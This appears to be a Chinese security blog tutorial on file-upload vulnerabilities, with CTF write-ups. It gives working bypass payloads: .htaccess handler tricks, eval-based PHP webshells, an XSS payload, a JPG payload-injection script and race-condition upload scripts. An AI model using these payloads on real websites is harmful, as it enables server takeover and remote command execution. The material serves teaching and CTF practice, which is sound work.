当前位置: 首页 > news >正文

文件上传漏洞:你的网站安全吗?

文章目录

  • 文件上传漏洞
  • 攻击方式:
    • 0x01绕过前端限制
    • 0x02黑名单绕过
      • 1.特殊解析后缀绕过
      • 2..htaccess解析绕过
      • 3.大小写绕过
      • 4.点绕过
      • 5.空格绕过
      • 6.::$DATA绕过
      • 7.配合中间件解析漏洞
      • 8.双后缀名绕过
      • 9.短标签绕过
    • 0x03白名单绕过
      • 1.MIME绕过(Content-Type绕过)
      • 2.%00截断
      • 3.0x00截断
      • 4.0x0a截断
    • 0x04内容及其它绕过
      • 1.文件头检测绕过
      • 2.二次渲染绕过
      • 3.条件竞争
      • 4.添加大量垃圾字符绕过
      • 5.突破getimagesize
      • 6.突破exif_imagetype
    • 题目练习
        • [FSCTF 2023]加速加速
        • [UUCTF 2022 新生赛]uploadandinject

文件上传漏洞

原因:
·对于上传文件的后缀名(扩展名)没有做较为严格的限制
·对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
·权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
·对于web server对于上传文件或者指定目录的行为没有做限制

webshell:指的是以asp 、php 、jsp 、aspx等网页文件形式存在的一种命令执行环境,也叫后门

攻击方式:

0x01绕过前端限制

当表单中调用js函数来检查上传文件拓展名时,客户端还没向服务器发送任何消息,就对本地文件进行检测判断是否是可以上传的类型,这种方法就是前端限制。

绕过方法:
1.F12修改js上传方法或通过改包工具修改上传(如bp)
2.如果是js脚本检测,F12->F1 禁用js即可绕过

0x02黑名单绕过

1.特殊解析后缀绕过

语言默认可解析后缀盲猜绕过可解析后缀
asp.net【IIS】asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php.php .html .htm 【apache】php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp*.jsp *.jspx 【tomcat】jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

2…htaccess解析绕过

.htaccess文件(分布式配置文件):提供针对目录改变配置的方法。即在特定的文档目录放置一个包含指令的文件,以此作用于目录及其子目录
利用方式:
1.文件解析

<FileMatch "shell.jpg"> //将目录下的shell.jpg图片当作php脚本解析并执行
SetHandler application/x-httpd-php
</FileMatch>或者
AddType application/x-httpd-php .aaa //上传.aaa后缀文件,让其作为php类型文件并解析

2.文件包含
在本地文件包含中可以通过php_value来设置auto_prepend_file或auto_append_file包含一些敏感文件
例:

auto_prepend_file
php_value auto_prepend_file /etc/passwdauto_append_file
php_value auto_append_file /etc/passwd
例题payload:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C

3.源码泄露
利用php_flag将engine设置为0,在本目录和子目录中关闭php解析,造成源码泄露 php_flag engine 0
4.代码执行
利用伪协议 all_url_fopen 、all_url_include为On 解析.htaccess

(1)
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
(2.1)
php_value auto_append_file .htaccess
#<?php phpinfo();
(2.2)
这种适合同目录或子目录没有 php 文件。
需要先设置允许可访问 .htaccess 文件Files ~ "^.ht">Require all grantedOrder allow,denyAllow from all
</Files>
将 .htaccess指定当做 php文件处理SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

5.命令执行

CGI

6.XSS

利用highlight_file

.htaccess
php_value highlight.comment '"><script>alert(1);</script>'index.php
<?php
highlight_file(__FILE__);
// comment
其中的 highlight.comment 也可以换成如下其他选项
index.php :
<?php
include('foo');#foo报错
.htaccess
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

7.自定义错误文件

error.php
<?php include('shell');#报错页面.htaccess
php_value error_log /tmp/www/html/shell.php 
php_value include_path "<?php phpinfo(); __halt_compiler();"访问 error.php,会报错并记录在 shell.php 文件中因为会经过 html 编码,所以需要 UTF-7 来绕过。.htaccess# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

3.大小写绕过

由于黑名单过滤不全,未对后缀名大小写进行统一

4.点绕过

·windows系统下,文件后缀名最后一个点会被自动去除
·linux系统下,文化后缀名最后一个点不会被自动去除
所以在windows系统下利用bp截断http请求,在上传文件后缀后加.绕过上传
例如: demo.php.

5.空格绕过

·windows系统下,对于文件名【demo.php(空格)】会被当作空处理,检测代码不能自动删除空格,从而绕过黑名单。文件上传后,会自动删除空格

6.::$DATA绕过

·windows系统下,上传的文件名为a.php::$DATA 会在服务器上生成一个a.php文件,其中内容与上传的的内容相同并被解析

7.配合中间件解析漏洞

8.双后缀名绕过

过滤代码对文件名称进行敏感字符清除时使用

9.短标签绕过

<script language="php">phpinfo();</script>    #phpinfo()可以替换成想要执行的代码

0x03白名单绕过

1.MIME绕过(Content-Type绕过)

通过抓包,修改Content-Type类型为指定类型
在这里插入图片描述

也可以使用短标签,然后访问对应路径
GIF89a?<?= `cat /f*`;?>
为了节约长度也可以使用BM
BM<?=tac /f*;

2.%00截断

%00跟随url发送到服务器后被解码,这时还没传到验证函数,即验证函数接收到的是**%00被解码后的内容

**%00  ->0x00**

原理:

无论是0x00还是%00最终都会被解析成chr(0)  而0对于的字符是NULL,即空字符
当一个字符串中存在空字符时,空字符后面的字符会被丢弃
例如:文件1.php.jpg插入空字符变成1.php0x00.jpg,解析之后只剩1.php

%00截断只能绕过前端校验,有时%00会被档子字符串,可以通过对%00进行url编码或者用bp将hex的值修改为00
%00可以截断后端路径

3.0x00截断

0x00表示ascii码为0的字符,一些函数处理时,会把这个字符作为结束符,且这个00是文件十六进制中的00而不是文件名的00

4.0x0a截断

0x0a表示ascii码为/n的换行字符

0x04内容及其它绕过

1.文件头检测绕过

1.将马写入txt文件中,改为png后缀,然后用010在文件前面加上对应的图片头。
2.或Bp抓包,然后修改文件后缀
3.或

## ma.png 为要上传的图片【必须加/b】;
## 1.php 为一句话木马【必须加/a】;
## new 为重新定义的文件名;
copy ma.png/b+1.php/a new.png

2.二次渲染绕过

gif

渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可

在这里插入图片描述

png

PNG 没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块

在这里插入图片描述

jpg

JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试 
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

用法:php payload.php a.jpg

3.条件竞争

以一个木马文件上传的实验为例

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

白名单判断是否为jpg、png、gif的一种,如果不是则会进行unlink删除操作。这里可以利用条件竞争在判断白名单和unlink操作之间上串木马。

先将php语句写入shell.php中

aaa<?php fputs(fopen("rv1nm4.php","w"), '<?ph ·eval($_POST[rv1nm4]);?>');?>

fopen()作用是打开一个名为rv1nm4.php文件,如果没有则创建该文件,第二个参数w表示以写入模式打开文件

fputs()将字符串写入到打开的文件中。并且包含一些特殊字符,如 <? · ; ?>

shell.php执行后新建rv1nm4.php文件并写入一句话木马,作用是当上传的shell.php文件被删除后,后端还会存在r1nm4.php后门,方便连接.

接下来抓取上传shell.php的包,发送到intruder模块,配置相关payloads,选择Null payloads并勾选无限重放(最好设置多线程,增加条件竞争成功的可能性),之后就是自动重放的过程

编写脚本检测条件竞争是否成功

url="http://127.0.0.1/upload-labs/upload/shell.php"
while True:html=requests.get(url)if html.status_code==200:print("YES,you upload it")else:print("NO")

4.添加大量垃圾字符绕过

例如:BuildCTF ez_waf

可以上传php 但是检测文件内容
利用大文件(增加脏数据,使得溢出)
在这里插入图片描述

在这里插入图片描述

5.突破getimagesize

6.突破exif_imagetype

题目练习

[FSCTF 2023]加速加速

直接通过脚本

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):url = 'http://node4.anna.nssctf.cn:28352/index.php'files = {'upload_file': ('puu.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>' ); ?>")}data = {'submit': '上传'}r = requests.post(url=url, data=data, files=files)re = requests.get('http://node4.anna.nssctf.cn:28352/upload/puu.php')if re.status_code == 200:print('上传成功')
if __name__ == '__main__':with ThreadPoolExecutor(50) as p:p.map(td, range(2000))

然后访问shell.php,传参执行命令即可

[UUCTF 2022 新生赛]uploadandinject

考点:LD_PRELOAD劫持
LD_PRELOAD劫持

LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数.
image-20240829204848934

提示看hint.php
内容:nothing here,but I think you look look JPG,index's swp
提示我们看swp文件(Linux vim产生的文件)

http://node5.anna.nssctf.cn:28853/.index.php.swp下载.index.php.swp,
直接打开发现内容破损,使用vim恢复文件vim -r index.php.swp
内容如下:

$PATH=$_GET["image_path"];
if((!isset($PATH))){$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){if(file_exists($img_path)){//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so  LD_PRELOAD设置的优先加载动态链接库 putenv("LD_PRELOAD=/var/www/html/$img_path");system("echo Success to load");echo "<br><img src=$img_path>";}else{system("echo Failed to load ");}
}

可以上传文件

相关文章:

文件上传漏洞:你的网站安全吗?

文章目录 文件上传漏洞攻击方式&#xff1a;0x01绕过前端限制0x02黑名单绕过1.特殊解析后缀绕过2..htaccess解析绕过3.大小写绕过4.点绕过5.空格绕过6.::$DATA绕过7.配合中间件解析漏洞8.双后缀名绕过9.短标签绕过 0x03白名单绕过1.MIME绕过(Content-Type绕过)2.%00截断3.0x00截…...

AWS账号提额

Lightsail提额 控制台右上角&#xff0c;用户名点开&#xff0c;选择Service Quotas 在导航栏中AWS服务中找到lightsail点进去 在搜索框搜索instance找到相应的实例类型申请配额 4.根据自己的需求选择要提额的地区 5.根据需求来提升配额数量,提升小额配额等大约1小时生效 Ligh…...

电子应用设计方案-29:智能云炒菜系统方案设计

智能云炒菜系统方案设计 一、系统概述 本智能云炒菜系统旨在为用户提供便捷、高效、个性化的烹饪体验&#xff0c;结合云技术实现远程控制、食谱分享、智能烹饪流程优化等功能。 二、系统组成 1. 炒菜锅主体 - 高品质不粘锅内胆&#xff0c;易于清洁和维护。 - 加热装置&#x…...

腾讯rapidJson使用例子

只需要把库的头文件拿下来加入项目中使用就行&#xff0c;我是以二进制文件存储内容并解析&#xff1a; #include <iostream> #include <fstream> #include <string> #include "rapidjson/document.h" #include "rapidjson/error/en.h"…...

UE5_CommonUI简单使用(2)

上篇我是简单写了一下CommonUI使用的初始设置以及Common Activatable Widget和Common Activatable Widget Stack以及Common 控件Style以及鼠标控制的一些内容,这些对于了解UMG的朋友来说没什么难度,唯一需要注意的就是Common Activatable Widget Stack堆栈管理只能是用来管理…...

探讨播客的生态系统

最近对播客发生了兴趣&#xff0c;从而引起了对播客背后的技术&#xff0c;生态的关注。本文谈谈播客背后的技术生态系统。 播客很简单 播客&#xff08;podcast&#xff09;本质上就是以语音的方式发布信息。它和博客非常类似。如果将CSDN 网站上的文字加一个语音播报。CSDN …...

淘宝架构演化

基本功能 LAMP&#xff08;LinuxApacheMySQLPHP&#xff09;标准架构&#xff0c;初期采用拿来主义&#xff0c;只具备基本功能。 数据库&#xff1a;读写分离&#xff0c;MyISAM存储引擎 2003年5月—2004年1月 存储瓶颈 mysql达到访问瓶颈&#xff0c;升级成oracle&#x…...

软通动力携子公司鸿湖万联、软通教育助阵首届鸿蒙生态大会成功举办

11月23日中国深圳&#xff0c;首届鸿蒙生态大会上&#xff0c;软通动力及软通动力子公司鸿湖万联作为全球智慧物联网联盟&#xff08;GIIC&#xff09;理事单位、鸿蒙生态服务&#xff08;深圳&#xff09;有限公司战略合作伙伴&#xff0c;联合软通教育深度参与了大会多项重磅…...

【AI绘画】DALL·E 3 绘图功能与 DALL·E API 探索

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: AI绘画 文章目录 &#x1f4af;前言&#x1f4af;DALLE 3 图像生成介绍&#xff08;Introduction to DALLE 3 Image Generation&#xff09;图像质量与分辨率图像生成机制的解析多图生成功能 &#x1f4af;使用 DALLE…...

【数据事务】.NET开源 ORM 框架 SqlSugar 系列

.NET开源 ORM 框架 SqlSugar 系列 【开篇】.NET开源 ORM 框架 SqlSugar 系列【入门必看】.NET开源 ORM 框架 SqlSugar 系列【实体配置】.NET开源 ORM 框架 SqlSugar 系列【Db First】.NET开源 ORM 框架 SqlSugar 系列【Code First】.NET开源 ORM 框架 SqlSugar 系列【数据事务…...

深入解析下oracle char和varchar2底层存储方式

oracle数据库中&#xff0c;char和varchar2数据类型用来存储字符数据。char类型一旦定义多大&#xff0c;那么它就分配多少字节空间&#xff1b;varchar2类型定义多大&#xff0c;代表它可以扩展的最大大小为多大&#xff0c;一开始空间根据使用来决定。字符数据存储在oracle表…...

Angular v19 (三):增量水合特性详解 - 什么是水合过程?有哪些应用场景?与 Qwik 相比谁更胜一筹?- 哪个技术好我就学哪个,这就是吸心大法吧

Angular在其最新版本 v19 中引入了增量水合&#xff08;Incremental Hydration&#xff09;这一特性。这一更新引发了开发者们广泛的讨论&#xff0c;特别是在优化首屏加载速度和改善用户体验方面。本文将详解水合过程的概念、增量水合的应用场景&#xff0c;以及它与类似框架如…...

宠物空气净化器推荐2024超详细测评 希喂VS霍尼韦尔谁能胜出

最近有粉丝一直在评论区和后台探讨宠物空气净化器是不是智商税的问题&#xff0c;有人认为宠物空气净化器肯定不是智商税&#xff0c;有些人认为将其购回家就是个没用的东西&#xff0c;还占地方&#xff0c;双方各有自己的观点。 其实宠物空气净化器和普通的空气净化器是有很大…...

一线、二线、三线技术支持

一线、二线、三线技术支持是企业IT支持体系中常见的分工模式&#xff0c;目的是高效解决技术问题&#xff0c;同时优化资源利用。以下是它们的具体定义和职责划分&#xff1a; 1. 一线技术支持 (Tier 1/Level 1 Support) 定义&#xff1a; 一线技术支持是直接面对最终用户或客…...

智截违规,稳保安全 | 聚铭视频专网违规外联治理系统新品正式发布

“千里之堤&#xff0c;毁于蚁穴”。 违规外联作为网络安全的一大隐患&#xff0c; 加强防护已刻不容缓。 这一次&#xff0c; 我们带着全新的解决方案来了 ——聚铭视频专网违规外联治理系统&#xff0c; 重磅登场&#xff01;...

FFmpeg 的 codec 和 format

很多人容易混淆这二者区别 pcm_alaw, 这是 codec wav, 这是 format ffmpeg -formats 打印支持的所有 format ffmpeg -codecs 打印支持所有的 codec ffmpeg -i in.wav -y -ac 1 -ar 8000 -acodec pcm_alaw -f wav out.wav 把 in.wav 转换成 out.wav rtp/rtsp 等&#xff…...

分布式锁的实现原理

作者&#xff1a;来自 vivo 互联网服务器团队- Xu Yaoming 介绍分布式锁的实现原理。 一、分布式锁概述 分布式锁&#xff0c;顾名思义&#xff0c;就是在分布式环境下使用的锁。众所周知&#xff0c;在并发编程中&#xff0c;我们经常需要借助并发控制工具&#xff0c;如 mu…...

怎样提高自己的能量

能量转换的基本原则是让别人需要你&#xff0c;而不是你去求对方。别人需要你&#xff0c;你的能量就高&#xff0c;你去求别人你的能量就低。 怎样提高自己的能量&#xff1f; 第一&#xff0c;留意你的气场和格局。气场不是说你表现的多么霸道&#xff0c;而是你的信念、决心…...

ospf协议(动态路由协议)

ospf基本概念 定义 OSPF 是典型的链路状态路由协议&#xff0c;是目前业内使用非常广泛的 IGP 协议之一。 目前针对 IPv4 协议使用的是 OSPF Version 2 &#xff08; RFC2328 &#xff09;&#xff1b;针对 IPv6 协议使用 OSPF Version 3 &#xff08; RFC2740 &#xff09;。…...

【娱乐项目】竖式算术器

Demo介绍 一个加减法随机数生成器&#xff0c;它能够生成随机的加减法题目&#xff0c;并且支持用户输入答案。系统会根据用户输入的答案判断是否正确&#xff0c;统计正确和错误的次数&#xff0c;并显示历史记录和错题记录。该工具适合用于数学练习&#xff0c;尤其适合练习基…...

Qt中模拟鼠标消息并与系统鼠标消息进行区分

功能使用场景&#xff1a; 开发一个教学系统&#xff0c;包含了教师端、学生端&#xff0c;并且教师端支持示教功能。此时&#xff0c;学生端的鼠标、键盘不响应系统事件&#xff0c;但需要响应教师端发过来的鼠标移动、按下消息。 因为共享页面相同&#xff0c;为了提高局域…...

实时数据开发 | 一文理解Flink窗口机制

窗口操作在流处理和批处理之间起到了桥梁的作用。 Flink引擎本质上是流式引擎&#xff0c;认为批处理是流处理的一个特例。因此&#xff0c;通过窗口将流数据划分为有限大小的集合&#xff0c;使得在这些有界的数据集上可以进行批处理风格的计算。 通过配置窗口的参数&#xf…...

MFC 自定义树控件:树节点的样式与交互

在本教程中&#xff0c;将介绍如何在 MFC 应用程序中使用树控件 (CTreeCtrl) 进行高级定制&#xff0c;包括设置字体、颜色、徽章、图标、节点的高度等。通过这些自定义设置&#xff0c;可以显著提升用户界面的交互性和视觉效果。 1. 树控件基本设置 首先&#xff0c;我们需要…...

YOLOv8-ultralytics-8.2.103部分代码阅读笔记-loss.py

loss.py ultralytics\utils\loss.py 目录 loss.py 1.所需的库和模块 2.class VarifocalLoss(nn.Module): 3.class FocalLoss(nn.Module): 4.class DFLoss(nn.Module): 5.class BboxLoss(nn.Module): 6.class RotatedBboxLoss(BboxLoss): 7.class KeypointLoss(n…...

像素流送api ue多人访问需要什么显卡服务器

关于像素流送UE推流&#xff0c;在之前的文章里其实小芹和大家聊过很多&#xff0c;不过今天偶然搜索发现还是有很多小伙伴&#xff0c;在搜索像素流送相关的问题&#xff0c;搜索引擎给的提示有这些。当然这些都是比较短的词汇&#xff0c;可能每个人真正遇到的问题和想获取的…...

字符型注入‘)闭合

前言 进行sql注入的时候&#xff0c;不要忘记闭合&#xff0c;先闭合再去获取数据 步骤 判断是字符型注入 用order by获取不了显位&#xff0c;select也一样 是因为它是’)闭合&#xff0c;闭合之后&#xff0c;就可以获取数据了 最后就是一样的步骤...

评分规则的建模,用户全选就是满分10分(分数可自定义), 选2个5分, 选2个以下0分

子夜(603***854) 15:11:40 和各位讨论一下设计问题: 有个有业务场景: 有一组产品共4个产品(数目用户可自定义), 需要一套规则,比如如果用户全选就是满分10分(分数可自定义), 选2个5分, 选2个以下0分 又比如另一组产品 产品有个必选属性,如果选了其中所有的必选则5分, 其他项每1…...

Elasticsearch与NLP的深度融合:文本嵌入与向量搜索实战指南

Elasticsearch与NLP的深度融合:文本嵌入与向量搜索实战指南 引言 在当今信息爆炸的时代,如何从海量文本数据中快速准确地检索出相关信息,成为了一个迫切需要解决的问题。自然语言处理(NLP)技术的发展为这一挑战提供了新的解决方案。Elasticsearch,作为一个强大的搜索引…...

4. STM32_定时器

概述 什么是定时器&#xff1a; 定时器核心就是计数器&#xff0c;是使用精准的时基&#xff0c;通过硬件的方式&#xff0c;实现定时功能的器件。 定时器的工作原理&#xff1a; 主频时钟CLK通过PSC进行分频后产生定时器时钟TIM CLK&#xff0c;计数器CNT根据TIM CLK的频率…...

Mysql 深度分页问题及优化方案

Mysql 深度分页问题及优化方案 一、为什么 MySQL 深度分页慢&#xff1f;二、优化方案三、补充 一、为什么 MySQL 深度分页慢&#xff1f; 在数据量大时&#xff0c;深分页查询速度缓慢&#xff0c;主要原因是多次回表查询。 前言&#xff1a;N个条件为索引&#xff0c;id为主…...

金融街做网站的公司/重要新闻今天8条新闻

首先下载React 的安装包&#xff0c;可以到官网下载。也可以使用React Demos 已经自带 React 源码&#xff0c;不用另外安装&#xff0c;只需把这个库拷贝到硬盘中使用。 &#xff08;可参考http://www.ruanyifeng.com/blog/2015/03/react.html 此网址的具体操作&#xff09; 1…...

宁夏住房和城乡建设部网站/搜索引擎推广方式有哪些

天赋和努力都不是成功的必要条件&#xff1f;成功属于幸运的人&#xff1f;那么你是否抓住了自己的职场幸运时刻&#xff1f;如何追求激情与意义创造价值撩到职场好运气&#xff1f; 今天给大家介绍“钛媒体72问”——专家分享课【坦白讲】的一位讲师。她就是享有国内外称赞的…...

制作音乐排行榜html5/如何优化网站首页

一、ArrayList概述 首先我们来说一下ArrayList是什么&#xff1f;它解决了什么问题&#xff1f;ArrayList其实是一个数组&#xff0c;但是有区别于一般的数组&#xff0c;它是一个可以动态改变大小的动态数组。ArrayList的关键特性也是这个动态的特性了&#xff0c;ArrayList的…...

做农产品的网站/景区营销案例100例

在Java GUI应用中&#xff0c;难免用到文件选择框JFileChooser&#xff0c;这个组件可以用来选择打开文件(jFileChooser1.setFileSelectionMode(JFileChooser.OPEN_DIALOG))和保存文件(jFileChooserOut.setFileSelectionMode(JFileChooser.SAVE_DIALOG))&#xff0c;虽然setFil…...

javaweb做商业网站/自媒体平台注册入口官网

前言这天我正在午休呢&#xff0c;公司DBA就把我喊醒了&#xff0c;说某库出现大量慢SQL&#xff0c;很快啊&#xff0c;很快&#xff0c;我还没反应过来&#xff0c;库就挂了&#xff0c;我心想现在的用户不讲武德啊&#xff0c;怎么在我睡觉的时候大量请求呢。这是很常见的一…...

自己做免费网站的视频/免费建立个人网站申请

通过Keepalived搭建MYSQL双主模式的高可用集群系统一.MYSQL replication介绍&#xff1a;MYSQL replication是MYSQL自身提供的一个主从复制功能&#xff0c;就是一台MYSQL服务器(slave)从另外一台MYSQL服务器(master)上复制日志&#xff0c;然后解析日志应用到自身的过程。MYSQ…...